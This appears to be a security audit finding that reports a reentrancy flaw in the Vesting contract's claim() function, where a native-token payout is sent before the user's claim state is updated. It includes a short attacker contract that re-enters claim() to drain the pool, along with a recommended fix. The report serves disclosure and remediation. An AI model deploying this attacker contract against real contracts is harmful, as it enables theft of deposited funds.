High Burgundy Jellyfish

high

# Reentrancy in `Vesting::claim()` allows draining Vesting pool

## Summary
It is possible to drain a Vesting pool if the pool’s asset is address(1) denoting native token  by triggering a reentrancy when call claim().
## Vulnerability Detail
In the Vesting contract, the `claim()` function calls `payable(sender).call` when pool’s asset is address(1) denoting native token, which makes an external call to the receiver of the native token ( to address).
```javascript
function claim() external {
        address sender = msg.sender;

        UserDetails storage s = userdetails[sender];
        require(s.userDeposit != 0, "No Deposit");
        require(s.index != vestingPoints.length, "already claimed");
        uint256 pctAmount;
        uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
        if (pctAmount != 0) {
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");// Here, an attack gains control of execution
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
            s.index = uint128(i);// This updates UserDetails s in the claim, but after the external call
            s.amountClaimed += pctAmount;
        }
    }
```
This outdated state of UserDetails s can be exploited by an attacker once the external call has been made. They can re-enter `claim()` again and again, and draining the whole Vesting pool's assets. 
Proof of Concept:
(1)A user announces invests via a smart contract(ReentrancyAttacker).
(2)The ReentrancyAttacker address is given to the admin of vesting pool.
(3)The admin of vesting pool does operation `updateUserDeposit`.
(4)The user attack the vesting pool using ReentrancyAttacker.
Assuming the balance that can be claim from the Vesting pool is 0.1 ETH. 
The attack contract could be like this:
```javascript

interface IVesting  {
    
    function claim() external ;
}

contract ReentrancyAttacker {
    IVesting victim;

    constructor(ReentrancyVictim _victim) {
        victim = _victim;
    }

    function attack() public payable {
        victim.claim();
    }

    receive() external payable {
        if (address(victim).balance >= 0.1 ether) {
            victim.claim();
        }
    }
}
```

## Impact
The impact for this vulnerability is high. All funds deposited in Vesting with native tokens as the underlying asset can be drained.

## Code Snippet
https://github.com/sherlock-audit/2024-03-zap-protocol/blob/main/zap-contracts-labs/contracts/Vesting.sol#L67C4-L92C6


## Tool used

Manual Review

## Recommendation
updating state before making an external call
```diff
function claim() external {
        address sender = msg.sender;

        UserDetails storage s = userdetails[sender];
        require(s.userDeposit != 0, "No Deposit");
        require(s.index != vestingPoints.length, "already claimed");
        uint256 pctAmount;
        uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
        if (pctAmount != 0) {
+           s.index = uint128(i);
+           s.amountClaimed += pctAmount;
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
-           s.index = uint128(i);
-           s.amountClaimed += pctAmount;
        }
    }
```
